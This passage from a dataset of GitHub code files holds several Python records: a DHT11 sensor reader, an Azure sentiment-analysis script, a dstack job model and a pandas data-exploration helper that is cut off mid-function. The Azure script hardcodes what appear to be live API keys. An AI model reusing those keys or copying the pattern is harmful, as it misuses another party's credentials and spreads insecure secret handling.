"github-code", "pt": "81", "api": [{"api_name": "numpy.unique", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 38, "usage_type": "call"}, {"api_name": "numpy.allclose", "line_number": 39, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 55, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 55, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToPILImage", "line_number": 56, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 56, "usage_type": "name"}, {"api_name": "torchvision.transforms.Grayscale", "line_number": 57, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 57, "usage_type": "name"}, {"api_name": "torchvision.transforms.Pad", "line_number": 58, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 58, "usage_type": "name"}, {"api_name": "torchvision.transforms.CenterCrop", "line_number": 59, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 59, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 60, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 60, "usage_type": "name"}]}
{"seq_id": "262559625", "text": "# This code is based on Adafruit Learning\n# https://learn.adafruit.com/dht-humidity-sensing-on-raspberry-pi-with-gdocs-logging/python-setup\n\nimport time\nimport adafruit_dht\nimport argparse\nimport os\nfrom helpers.watson_iot_platform import IBMWatsonIoTPlatform\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nparser = argparse.ArgumentParser(\n    prog=\"server.py\",\n    description='Reads DHT sensors and prints the output. Optionally sends the outputs to the Watson IoT Platform (requires service credentials in .env).',\n    usage='python3 %(prog)s [options]')\n\nparser.add_argument('--pin', help='The PIN Number your DHT is connected to')\nparser.add_argument('--watson', action='store_true', help=\"Sends outputs of the sensor to the Watson IoT Platform (requires service credentials in .env)\")\nparser.set_defaults(watson=False)\n\nargs = parser.parse_args()\n\npin = int(args.pin) if args.pin else int(os.getenv(\"SENSOR_PIN\"))\nenable_watson = args.watson or os.getenv(\n    'ENABLE_WATSON_IOT_PLATFORM', 'False') == 'True'\n\ndht_device = adafruit_dht.DHT11(pin)\niot_platform = IBMWatsonIoTPlatform() if enable_watson else None\n\nwhile True:\n    try:\n        # Print the values to the serial port\n        temperature_c = dht_device.temperature\n        temperature_f = temperature_c * (9 / 5) + 32\n        humidity = dht_device.humidity\n\n        # publish temp message\n        if iot_platform:\n            iot_platform.publish(\n                event=\"dht11\",\n                property=\"temperature\",\n                value=temperature_c)\n\n            # publish humidity message\n            iot_platform.publish(\n                event=\"dht11\",\n                property=\"humidity\",\n                value=humidity)\n\n        print(\n            f\"Temp: {temperature_f} F / {temperature_c} C    Humidity: {humidity}%\")\n\n    except RuntimeError as error:\n        # Errors happen fairly often, DHT's are hard to read, just keep going\n        print(error.args[0])\n        time.sleep(2.0)\n        continue\n    except Exception as error:\n        dht_device.exit()\n        raise error\n\n    time.sleep(2.0)\n", "repo_name": "thiau/dht-sensor-pi", "sub_path": "server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2081, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 11, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 24, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "adafruit_dht.DHT11", "line_number": 28, "usage_type": "call"}, {"api_name": "helpers.watson_iot_platform.IBMWatsonIoTPlatform", "line_number": 29, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 57, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}]}
{"seq_id": "18665871828", "text": "from azure.core.credentials import AzureKeyCredential\nfrom azure.ai.textanalytics import TextAnalyticsClient\nAPI_KEY = '7f04473048824fd08f0471279aee5b48'\nAPI_KEYTEXT = '085752d0a73a4d1289075a99ba23e4e2'\nENDPOINT = 'https://censura-chat-esports-text-analysis.cognitiveservices.azure.com/'\nREGIAO = \"brazilsouth\"\n\ntextInput = input(\"Digite uma frase para ser avaliada: \")\n\ndocuments = [textInput]\n\nclient =  TextAnalyticsClient(\n            endpoint = ENDPOINT,\n            credential = AzureKeyCredential(API_KEYTEXT),\n        )\n\nresponse = client.analyze_sentiment(\n    documents = documents,\n    language = \"pt-BR\",\n    show_opinion_mining = True,\n\n)\n# print(response)\nprint(response[0].sentiment)", "repo_name": "luizaalvesg/Censura_Chat_E-sports", "sub_path": "TextInput.py", "file_name": "TextInput.py", "file_ext": "py", "file_size_in_byte": 698, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "azure.ai.textanalytics.TextAnalyticsClient", "line_number": 12, "usage_type": "call"}, {"api_name": "azure.core.credentials.AzureKeyCredential", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "26026201321", "text": "import json\nfrom abc import abstractmethod\nfrom enum import Enum\nfrom typing import Any, Dict, List, Optional, Union\n\nfrom pydantic import BaseModel, Field, root_validator\nfrom typing_extensions import Annotated\n\nfrom dstack._internal.core.app import AppSpec\nfrom dstack._internal.core.artifact import ArtifactSpec\nfrom dstack._internal.core.build import BuildPolicy\nfrom dstack._internal.core.cache import CacheSpec\nfrom dstack._internal.core.dependents import DepSpec\nfrom dstack._internal.core.repo import (\n    LocalRepo,\n    LocalRepoData,\n    RemoteRepo,\n    RemoteRepoData,\n    Repo,\n    RepoData,\n    RepoRef,\n)\nfrom dstack._internal.utils.common import get_milliseconds_since_epoch\n\n\nclass Gateway(BaseModel):\n    gateway_name: Optional[str]\n    hostname: Optional[str]\n    service_port: int\n    public_port: int = 80\n    secure: bool = False\n    ssh_key: Optional[str]\n    sock_path: Optional[str]\n\n\nclass GpusRequirements(BaseModel):\n    count: Optional[int]\n    memory_mib: Optional[int]\n    name: Optional[str]\n\n\nclass Requirements(BaseModel):\n    cpus: Optional[int]\n    memory_mib: Optional[int]\n    gpus: Optional[GpusRequirements]\n    shm_size_mib: Optional[int]\n    spot: Optional[bool]\n    local: Optional[bool]\n    max_price: Optional[float]\n\n    def pretty_format(self):\n        res = \"\"\n        res += f\"{self.cpus}xCPUs\"\n        res += f\", {self.memory_mib}MB\"\n        if self.gpus:\n            res += f\", {self.gpus.count}x{self.gpus.name or 'GPU'}\"\n            if self.gpus.memory_mib:\n                res += f\" {self.gpus.memory_mib / 1024:g}GB\"\n        if self.max_price is not None:\n            res += f\" under ${self.max_price:g} per hour\"\n        return res\n\n\nclass JobRef(BaseModel):\n    @abstractmethod\n    def get_id(self) -> Optional[str]:\n        pass\n\n    @abstractmethod\n    def set_id(self, job_id: Optional[str]):\n        pass\n\n\nclass JobRefId(JobRef):\n    job_id: str\n\n    def get_id(self) -> Optional[str]:\n        return self.job_id\n\n    def set_id(self, job_id: Optional[str]):\n        self.job_id = job_id\n\n\nclass ConfigurationType(str, Enum):\n    DEV_ENVIRONMENT = \"dev-environment\"\n    TASK = \"task\"\n    SERVICE = \"service\"\n\n\nclass JobStatus(str, Enum):\n    PENDING = \"pending\"\n    SUBMITTED = \"submitted\"\n    DOWNLOADING = \"downloading\"\n    BUILDING = \"building\"\n    RUNNING = \"running\"\n    UPLOADING = \"uploading\"\n    STOPPING = \"stopping\"\n    STOPPED = \"stopped\"\n    RESTARTING = \"restarting\"\n    TERMINATING = \"terminating\"\n    TERMINATED = \"terminated\"\n    ABORTING = \"aborting\"\n    ABORTED = \"aborted\"\n    FAILED = \"failed\"\n    DONE = \"done\"\n\n    def is_finished(self):\n        return self in [self.STOPPED, self.TERMINATED, self.ABORTED, self.FAILED, self.DONE]\n\n    def is_unfinished(self):\n        return not self.is_finished()\n\n    def is_active(self):\n        return self.is_unfinished() or self == self.STOPPED\n\n\nclass SpotPolicy(str, Enum):\n    SPOT = \"spot\"\n    ONDEMAND = \"on-demand\"\n    AUTO = \"auto\"\n\n\nclass RetryPolicy(BaseModel):\n    retry: bool\n    limit: Optional[int]\n\n\nclass TerminationPolicy(str, Enum):\n    STOP = \"stop\"\n    TERMINATE = \"terminate\"\n\n\nclass JobErrorCode(str, Enum):\n    # Set by CLI\n    NO_INSTANCE_MATCHING_REQUIREMENTS = \"no_instance_matching_requirements\"\n    FAILED_TO_START_DUE_TO_NO_CAPACITY = \"failed_to_start_due_to_no_capacity\"\n    INTERRUPTED_BY_NO_CAPACITY = \"interrupted_by_no_capacity\"\n    INSTANCE_TERMINATED = \"instance_terminated\"\n    # Set by runner\n    CONTAINER_EXITED_WITH_ERROR = \"container_exited_with_error\"\n    BUILD_NOT_FOUND = \"build_not_found\"\n    PORTS_BINDING_FAILED = \"ports_binding_failed\"\n\n    def pretty_repr(self) -> str:\n        return \" \".join(self.value.split(\"_\")).capitalize()\n\n\nclass JobHead(JobRef):\n    job_id: str\n    repo_ref: RepoRef\n    hub_user_name: str = \"\"\n    run_name: str\n    workflow_name: Optional[str] = \"\"  # deprecated\n    provider_name: Optional[str] = \"\"  # deprecated\n    configuration_path: Optional[str]\n    status: JobStatus\n    error_code: Optional[JobErrorCode]\n    container_exit_code: Optional[int]\n    submitted_at: int\n    artifact_paths: Optional[List[str]]\n    tag_name: Optional[str]\n    app_names: Optional[List[str]]\n    instance_type: Optional[str]\n    instance_spot_type: Optional[str]\n    price: Optional[float]\n\n    def get_id(self) -> Optional[str]:\n        return self.job_id\n\n    def set_id(self, job_id: Optional[str]):\n        self.job_id = job_id\n\n\nclass RegistryAuth(BaseModel):\n    username: Optional[str] = None\n    password: Optional[str] = None\n\n\nclass Job(JobHead):\n    app_names: Optional[List[str]]\n    app_specs: Optional[List[AppSpec]]\n    artifact_paths: Optional[List[str]]\n    artifact_specs: Optional[List[ArtifactSpec]]\n    backends: Optional[List[str]]\n    build_commands: Optional[List[str]]\n    build_policy: BuildPolicy = BuildPolicy.USE_BUILD\n    cache_specs: List[CacheSpec]\n    commands: Optional[List[str]]\n    configuration_path: Optional[str]\n    configuration_type: Optional[ConfigurationType]\n    container_exit_code: Optional[int]\n    created_at: int\n    dep_specs: Optional[List[DepSpec]]\n    entrypoint: Optional[List[str]]\n    env: Optional[Dict[str, str]]\n    error_code: Optional[JobErrorCode]\n    gateway: Optional[Gateway]\n    home_dir: Optional[str]\n    host_name: Optional[str]\n    hub_user_name: str = \"\"\n    image_name: str\n    instance_name: Optional[str]\n    instance_spot_type: Optional[str]\n    instance_type: Optional[str]\n    job_id: str\n    # TODO: Rename to `region_name`\n    location: Optional[str]\n    master_job: Optional[str]  # not implemented\n    max_duration: Optional[int]\n    price: Optional[float]\n    provider_name: Optional[str] = \"\"  # deprecated\n    registry_auth: Optional[RegistryAuth]\n    repo_code_filename: Optional[str]\n    repo_data: Annotated[\n        Union[RepoData, RemoteRepoData, LocalRepoData], Field(discriminator=\"repo_type\")\n    ]\n    repo_ref: RepoRef\n    request_id: Optional[str]\n    requirements: Optional[Requirements]\n    retry_policy: Optional[RetryPolicy]\n    run_name: str\n    runner_id: Optional[str]\n    setup: Optional[List[str]]\n    spot_policy: Optional[SpotPolicy]\n    ssh_key_pub: Optional[str]\n    status: JobStatus\n    submission_num: int = 1\n    submitted_at: int\n    tag_name: Optional[str]\n    termination_policy: Optional[TerminationPolicy]\n    workflow_name: Optional[str] = \"\"  # deprecated\n    working_dir: Optional[str]\n\n    @root_validator(pre=True)\n    def preprocess_data(cls, data):\n        # TODO Ugly style\n        data[\"artifact_paths\"] = (\n            [check_dict(a, \"artifact_path\") for a in data.get(\"artifact_specs\")]\n            if data.get(\"artifact_specs\")\n            else None\n        )\n        data[\"app_names\"] = (\n            [check_dict(a, \"app_name\") for a in data.get(\"app_specs\")]\n            if data.get(\"app_specs\")\n            else None\n        )\n        return data\n\n    def get_instance_spot_type(self) -> str:\n        if self.requirements and self.requirements.spot:\n            return \"spot\"\n        return \"on-demand\"\n\n    def serialize(self) -> dict:\n        # hack to convert enum to string\n        return json.loads(self.json(exclude_none=True))\n\n    @staticmethod\n    def unserialize(job_data: dict) -> \"Job\":\n        return Job.parse_obj(job_data)\n\n    @property\n    def repo(self) -> Repo:\n        if isinstance(self.repo_data, RemoteRepoData):\n            return RemoteRepo(repo_ref=self.repo_ref, repo_data=self.repo_data)\n        elif isinstance(self.repo_data, LocalRepoData):\n            return LocalRepo(repo_ref=self.repo_ref, repo_data=self.repo_data)\n\n    def retry_active(self, curr_time: Optional[int] = None) -> bool:\n        if curr_time is None:\n            curr_time = get_milliseconds_since_epoch()\n        return (\n            self.retry_policy is not None\n            and self.retry_policy.retry\n            and curr_time - self.created_at < self.retry_policy.limit * 1000\n        )\n\n\ndef check_dict(element: Any, field: str):\n    if type(element) == dict:\n        return element.get(field)\n    if hasattr(element, field):\n        return getattr(element, field)\n    return None\n", "repo_name": "silvacarl2/dstack", "sub_path": "cli/dstack/_internal/core/job.py", "file_name": "job.py", "file_ext": "py", "file_size_in_byte": 8108, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "pydantic.BaseModel", "line_number": 26, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 28, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 32, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 33, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 42, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 43, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 44, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 47, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 48, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 49, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 64, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 70, "usage_type": "name"}, {"api_name": "abc.abstractmethod", "line_number": 69, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 77, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 80, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 84, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 90, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 117, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 123, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 125, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 128, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 133, "usage_type": "name"}, {"api_name": "dstack._internal.core.repo.RepoRef", "line_number": 150, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 153, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 154, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 155, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 157, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 158, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 160, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 160, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 161, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 162, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 162, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 163, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 164, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 165, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 167, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 170, "usage_type": "name"}, {"api_name": "pydantic.BaseModel", "line_number": 174, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 175, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 176, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 180, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 181, "usage_type": "name"}, {"api_name": "dstack._internal.core.app.AppSpec", "line_number": 181, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 182, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 182, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 183, "usage_type": "name"}, {"api_name": "dstack._internal.core.artifact.ArtifactSpec", "line_number": 183, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 184, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 184, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 185, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 185, "usage_type": "name"}, {"api_name": "dstack._internal.core.build.BuildPolicy", "line_number": 186, "usage_type": "name"}, {"api_name": "dstack._internal.core.build.BuildPolicy.USE_BUILD", "line_number": 186, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 187, "usage_type": "name"}, {"api_name": "dstack._internal.core.cache.CacheSpec", "line_number": 187, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 188, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 188, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 189, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 190, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 191, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 193, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 193, "usage_type": "name"}, {"api_name": "dstack._internal.core.dependents.DepSpec", "line_number": 193, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 194, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 194, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 195, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 195, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 196, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 197, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 198, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 199, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 202, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 203, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 204, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 207, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 208, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 209, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 210, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 211, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 212, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 213, "usage_type": "name"}, {"api_name": "typing_extensions.Annotated", "line_number": 214, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 215, "usage_type": "name"}, {"api_name": "dstack._internal.core.repo.RepoData", "line_number": 215, "usage_type": "name"}, {"api_name": "dstack._internal.core.repo.RemoteRepoData", "line_number": 215, "usage_type": "name"}, {"api_name": "dstack._internal.core.repo.LocalRepoData", "line_number": 215, "usage_type": "name"}, {"api_name": "pydantic.Field", "line_number": 215, "usage_type": "call"}, {"api_name": "dstack._internal.core.repo.RepoRef", "line_number": 217, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 218, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 219, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 220, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 222, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 223, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 223, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 224, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 225, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 229, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 230, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 231, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 232, "usage_type": "name"}, {"api_name": "pydantic.root_validator", "line_number": 234, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 256, "usage_type": "call"}, {"api_name": "dstack._internal.core.repo.RemoteRepoData", "line_number": 264, "usage_type": "argument"}, {"api_name": "dstack._internal.core.repo.RemoteRepo", "line_number": 265, "usage_type": "call"}, {"api_name": "dstack._internal.core.repo.LocalRepoData", "line_number": 266, "usage_type": "argument"}, {"api_name": "dstack._internal.core.repo.LocalRepo", "line_number": 267, "usage_type": "call"}, {"api_name": "dstack._internal.core.repo.Repo", "line_number": 263, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 269, "usage_type": "name"}, {"api_name": "dstack._internal.utils.common.get_milliseconds_since_epoch", "line_number": 271, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 279, "usage_type": "name"}]}
{"seq_id": "41326566413", "text": "'''\nThis module contains all functions relating to the cleaning and exploration of structured data sets; mostly in pandas format\n\n'''\n\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom .visualizations import class_count, plot_missing\nfrom IPython.display import display\nfrom collections import Counter\n\n\n\n\ndef describe(data=None, name='', date_cols=None, show_categories=False, plot_missing=False):\n    '''\n    Calculates statistics and information about a data set. Information displayed are\n    shapes, size, number of categorical/numeric/date features, missing values,\n    dtypes of objects etc.\n\n    Parameters:\n    --------------------\n        data: Pandas DataFrame\n\n            The data to describe.\n\n        name: str, optional\n\n            The name of the data set passed to the function.\n\n        date_cols: list/series/array\n\n            Date column names in the data set.\n\n        show_categories: bool, default False\n\n            Displays the unique classes and counts in each of the categorical feature in the data set.\n\n        plot_missing: bool, default True\n\n            Plots missing values as a heatmap\n\n    Returns:\n    -------\n        None\n    '''\n    \n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    ## Get categorical features\n    cat_features = get_cat_feats(data)\n    \n    #Get numerical features\n    num_features = get_num_feats(data)\n\n    print('First five data points')\n    display(data.head())\n    _space()\n\n    print('Random five data points')\n    display(data.sample(5))\n    _space()\n\n    print('Last five data points')\n    display(data.tail())\n    _space()\n\n    print('Shape of {} data set: {}'.format(name, data.shape))\n    _space()\n\n    print('Size of {} data set: {}'.format(name, data.size))\n    _space()\n\n    print('Data Types')\n    print(\"Note: All Non-numerical features are identified as objects in pandas\")\n    display(pd.DataFrame(data.dtypes, columns=['Data Type']))\n    _space()\n\n    date_cols = get_date_cols(data)\n    if len(date_cols) is not 0:\n        print(\"Column(s) {} should be in Datetime format. Use the [to_date] function in datasist.feature_engineering to convert to Pandas Datetime format\".format(date_cols))\n        _space()\n\n    print('Numerical Features in Data set')\n    print(num_features)\n    _space()\n\n    print('Categorical Features in Data set')\n    display(cat_features)\n    _space()\n\n    print('Statistical Description of Columns')\n    display(data.describe())\n    _space()\n    \n    print('Description of Categorical Features')\n    if cat_features != None:\n        display(data.describe(include=[np.object, pd.Categorical]).T)\n        _space()\n          \n    print('Unique class Count of Categorical features')\n    display(get_unique_counts(data))\n    _space()\n\n    if show_categories:     \n        print('Classes in Categorical Columns')\n        print(\"-\"*30)\n        class_count(data, cat_features)\n        _space()\n\n    print('Missing Values in Data')\n    display(display_missing(data))\n\n    #Plots the missing values\n    if plot_missing:\n        plot_missing(data)\n\n\n\ndef get_cat_feats(data=None):\n    '''\n    Returns the categorical features in a data set\n\n    Parameters:\n    -----------\n        data: DataFrame or named Series \n\n    Returns:\n    -------\n        List\n            A list of all the categorical features in a dataset.\n    '''\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    cat_features = data.select_dtypes(include=['object']).columns\n\n    return list(cat_features)\n\n\ndef get_num_feats(data=None):\n    '''\n    Returns the numerical features in a data set\n\n    Parameters:\n    -----------\n        data: DataFrame or named Series \n\n    Returns:\n    -------\n        List:\n            A list of all the numerical features in a dataset.\n    '''\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    num_features = data.select_dtypes(exclude=['object', 'datetime64']).columns\n\n    return list(num_features)\n\n\n\ndef get_date_cols(data=None):\n    '''\n    Returns the Datetime columns in a data set.\n\n    Parameters\n    ----------\n        data: DataFrame or named Series\n\n            Data set to infer datetime columns from.\n\n        convert: bool, Default True\n\n            Converts the inferred date columns to pandas DateTime type\n    Returns:\n    -------\n        List\n\n         Date column names in the data set\n    '''\n\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    #Get existing date columns in pandas Datetime64 format\n    date_cols = set(data.dtypes[data.dtypes == 'datetime64[ns, UTC]'].index)\n    #infer Date columns \n    date_cols = date_cols.union(_match_date(data))\n       \n    return date_cols\n\n\n\ndef get_unique_counts(data=None):\n    '''\n    Gets the unique count of categorical features in a data set.\n\n    Parameters\n    -----------\n        data: DataFrame or named Series \n\n    Returns\n    -------\n        DataFrame or Series\n\n            Unique value counts of the features in a dataset.\n    \n    '''\n\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    features = get_cat_feats(data)\n    temp_len = []\n\n    for feature in features:\n        temp_len.append(len(data[feature].unique()))\n        \n    df = list(zip(features, temp_len))\n    df = pd.DataFrame(df, columns=['Feature', 'Unique Count'])\n    df = df.style.bar(subset=['Unique Count'], align='mid')\n    return df\n\n\ndef display_missing(data=None, plot=False):\n    '''\n    Display missing values as a pandas dataframe.\n\n    Parameters\n    ----------\n        data: DataFrame or named Series\n\n        plot: bool, Default False\n\n            Plots missing values in dataset as a heatmap\n    \n    Returns\n    -------\n        Matplotlib Figure:\n\n            Heatmap plot of missing values\n    '''\n\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame or Series, got 'None'\")\n\n    df = data.isna().sum()\n    df = df.reset_index()\n    df.columns = ['features', 'missing_counts']\n\n    missing_percent = round((df['missing_counts'] / data.shape[0]) * 100, 1)\n    df['missing_percent'] = missing_percent\n\n    if plot:\n        plot_missing(data)\n        return df\n    else:\n        return df\n\n\n\n\n\ndef cat_summarizer(data, x=None, y=None, hue=None, palette='Set1', verbose=True):\n    '''\n    Helper function that gives a quick summary of a given column of categorical data\n\n    Parameters:\n    ---------------------------\n        dataframe: pandas dataframe\n\n        x: str.\n            horizontal axis to plot the labels of categorical data, y would be the count.\n\n        y: str. \n            vertical axis to plot the labels of categorical data, x would be the count.\n\n        hue: str. i\n            if you want to compare it another variable (usually the target variable)\n\n        palette: array, list.\n\n            Colour of the plot\n\n    Returns:\n    ----------------------\n        Quick Stats of the data and also the count plot\n\n    '''\n    if x == None:\n        column_interested = y\n    else:\n        column_interested = x\n    series = data[column_interested]\n    print(series.describe())\n    print('mode: ', series.mode())\n    if verbose:\n        print('='*80)\n        print(series.value_counts())\n\n    sns.countplot(x=x, y=y, hue=hue, data=data, palette=palette)\n    plt.show()\n    \n\ndef join_train_and_test(data_train=None, data_test=None):\n    '''\n    Joins two data sets and returns a dictionary containing their sizes and the concatenated data.\n    Used mostly before feature engineering to combine train and test set together.\n\n    Parameter:\n    ----------\n        data_train: DataFrame, named series.\n\n            First data usually called train date to join.\n\n        data_test: DataFrame, named series.\n\n            Second data set to join, usually called test.\n    \n    Returns:\n    -------\n        Tuple: Merged data, size of train and size of test\n    '''\n\n    n_train = data_train.shape[0]\n    n_test = data_test.shape[0]\n    all_data = pd.concat([data_train, data_test],sort=False).reset_index(drop=True)\n    \n    return all_data, n_train, n_test\n\n\ndef detect_outliers(data, n, features):\n    '''\n        Detect Rows with outliers.\n\n        Parameters\n        ----------\n            data: DataFrame or named Series\n\n            n: the bench mark for the number of allowable outliers in the columns.\n            \n            features: Specific columns you want to check for outliers and it accepts only numerical values.\n\n        Returns\n        -------\n            The rows where outliers are present.\n        '''\n\n    if data is None:\n        raise ValueError(\"data: Expecting a DataFrame/ numpy2d array, got 'None'\")\n\n    if features is None:\n        raise ValueError(\"columns: Expecting features i.e columns of the dataset but got 'None'\")\n\n    if n is None:\n        n = 2\n\n    outlier_indices = []\n\n    # iterate over features(columns)\n    for col in features:\n        # 1st quartile (25%)\n        Q1 = np.percentile(data[col], 25)\n        # 3rd quartile (75%)\n        Q3 = np.percentile(data[col], 75)\n        # Interquartile range (IQR)\n        IQR = Q3 - Q1\n\n        # outlier step\n        outlier_step = 1.5 * IQR\n\n        # Determine a list of indices of outliers for feature col\n        outlier_list_col = data[(data[col] < Q1 - outlier_step) | (data[col] > Q3 + outlier_step)].index\n\n        # append the found outlier indices for col to the list of outlier indices\n        outlier_indices.extend(outlier_list_col)\n\n    # select observations containing more than 2 outliers\n    outlier_indices = Counter(outlier_indices)\n    multiple_outliers = list(k for k, 